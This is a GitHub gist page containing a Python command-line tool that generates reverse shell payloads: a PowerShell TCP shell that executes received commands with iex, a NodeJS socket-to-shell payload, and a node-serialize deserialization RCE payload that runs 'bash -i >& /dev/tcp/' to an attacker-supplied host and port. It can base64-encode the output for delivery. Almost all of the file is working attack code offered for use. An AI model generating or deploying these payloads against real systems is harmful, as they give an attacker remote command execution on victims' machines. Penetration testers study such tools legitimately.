Created
September 17, 2020 12:22
-
-
Save klezVirus/b969228f856f1455d71071a611484067 to your computer and use it in GitHub Desktop.
Simple script to generate reverse shell payloads for PowerShell and NodeJS
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import argparse | |
import sys, os | |
import ipaddress | |
import base64 | |
from tempfile import NamedTemporaryFile as ntf | |
from subprocess import run | |
class Encoder: | |
def __init__(self, alg=None): | |
self.alg = alg | |
def encode(self, payload): | |
if self.alg == 'b64': | |
if payload.getlanguage() == 'ps': | |
return base64.b64encode(payload.shell().encode('utf-16le')).decode('utf-8') | |
else: | |
return base64.b64encode(payload.shell().encode('utf-8')).decode('utf-8') | |
elif self.alg == 'b64e': | |
return base64.b64encode(payload.shell().encode('utf-16le')).decode('utf-8') | |
elif self.alg == 'b64x': | |
return base64.b64encode(payload.shell().encode('utf-8')).decode('utf-8') | |
else: | |
return payload.shell() | |
class Payload: | |
def __init__(self, language=None, lhost=None, lport=None, platform=None): | |
self.lhost = lhost | |
self.lport = lport | |
self.language = language | |
self.platform = platform | |
self.reverseshell= None | |
def shell(self): | |
return self.reverseshell | |
def getlanguage(self): | |
return self.language | |
def getplatform(self): | |
return self.platform | |
def generate(self): | |
if not (self.language): | |
raise ValueError("The shell language must be specified") | |
if not (self.lhost): | |
raise ValueError("The local IP must be specified") | |
if not (self.lport): | |
raise ValueError("The local port must be specified") | |
if self.language == 'ps': | |
if self.platform == "linux": | |
print("[-] Incompatible platform") | |
sys.exit(1) | |
shell = "$client=New-Object System.Net.Sockets.TCPClient('" + self.lhost + "'," + str(self.lport) + ");$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};" | |
shell += "while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);" | |
shell += "$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path + '> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);" | |
shell += "$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};" | |
self.reverseshell = shell | |
return True | |
elif self.language == 'node': | |
sh = "cmd.exe" if self.platform == "windows" else "/bin/sh" | |
shell = '(function(){ var net=require("net"),cp=require("child_process")' | |
shell += ',sh=cp.spawn("{}", []);var client=new net.Socket();client.connect({}, "{}", function()'.format(sh, self.lport, self.lhost) | |
shell += '{client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});' | |
shell += 'return /a/; })();' # Prevents NodeJS app from crashing | |
self.reverseshell = shell | |
return True | |
elif self.language == 'node-serialize': | |
import subprocess | |
program = "var y = {" | |
program += "rce : function(){" | |
program += "require('child_process').exec(" + "'bash -i >& /dev/tcp/{0!s}/{1!s} 0>&1'".format(self.lhost, self.lport) + ", function(error, stdout, stderr) { console.log(stdout) });" | |
program += "}," | |
program += "};" | |
program += "var serialize = require('node-serialize');" | |
program += "console.log(serialize.serialize(y));" | |
with ntf(dir="/root/bin/lib/", mode="w", suffix=".js", delete=False) as f: | |
f.write(program) | |
jsfile = f.name | |
print(jsfile) | |
out = run(["nodejs",jsfile] ,capture_output=True) | |
shell = out.stdout.decode("utf-8")[:-3] + '()"}' | |
#os.unlink(jsfile) | |
self.reverseshell = shell | |
return True | |
else: | |
return False | |
def validate_ip(ip): | |
try: | |
ipaddress.ip_address(ip) | |
return True | |
except: | |
return False | |
def validate_port(port): | |
try: | |
return True if (int(port) >= 21 and int(port) <= 65535) else False | |
except: | |
return False | |
def checkfile(filename): | |
try: | |
with open(filename,'w') as test: | |
test.write("") | |
return True | |
except: | |
return False | |
def platform(pstring): | |
if pstring is None: | |
return None | |
if pstring.lower().startswith("l"): | |
return "linux" | |
elif pstring.lower().startswith("w"): | |
return "windows" | |
else: | |
return None | |
def write(payload, file=None, debug=None): | |
print(payload) | |
if file: | |
with open(file, 'w') as outfile: | |
outfile.write(payload) | |
def main(): | |
parser = argparse.ArgumentParser(description='Custom reverse shell generator') | |
#parser.add_argument( | |
# '-x', '--proxy', required=False, action="store_true", help='Proxy (for debugging)') | |
parser.add_argument( | |
'-f', '--format', required=True, type=str, choices= ['ps', 'node', 'node-serialize'], default=None, help='Reverse Shell Format') | |
parser.add_argument( | |
'-p', '--platform', required=False, type=str, default=None, help='Underling Operating System') | |
parser.add_argument( | |
'-e', '--encoder', required=False, type=str, choices= ['b64','b64e','b64x'], default=None, help='Encoder to use [b64 (auto), b64x (force utf-8), b64e (force utf-16le)]') | |
parser.add_argument( | |
'-d', '--debug', required=False, action="store_true", help='Enable debug output') | |
parser.add_argument( | |
'-o', '--output', required=False, type=str, default=None, help='Store the payload in a file') | |
parser.add_argument( | |
'-L', '--lhost', required=True, type=str, help='Local Listener IP') | |
parser.add_argument( | |
'-P', '--lport', required=True, type=str, help='Local Listener Port') | |
args = parser.parse_args() | |
plt = platform(args.platform) | |
encoder = Encoder(args.encoder) | |
payload = None | |
if validate_ip(args.lhost): | |
if validate_port(args.lport): | |
generator = Payload(args.format, args.lhost, args.lport, plt) | |
generator.generate() | |
else: | |
print("[-] Invalid port") | |
else: | |
print("[-] Invalid IP Address") | |
encoded_payload = encoder.encode(generator) | |
if checkfile(args.output): | |
write(encoded_payload, file=args.output, debug=args.debug) | |
else: | |
write(encoded_payload, file=None, debug=args.debug) | |
if __name__ == '__main__': | |
#requests.packages.urllib3.disable_warnings(InsecureRequestWarning) | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment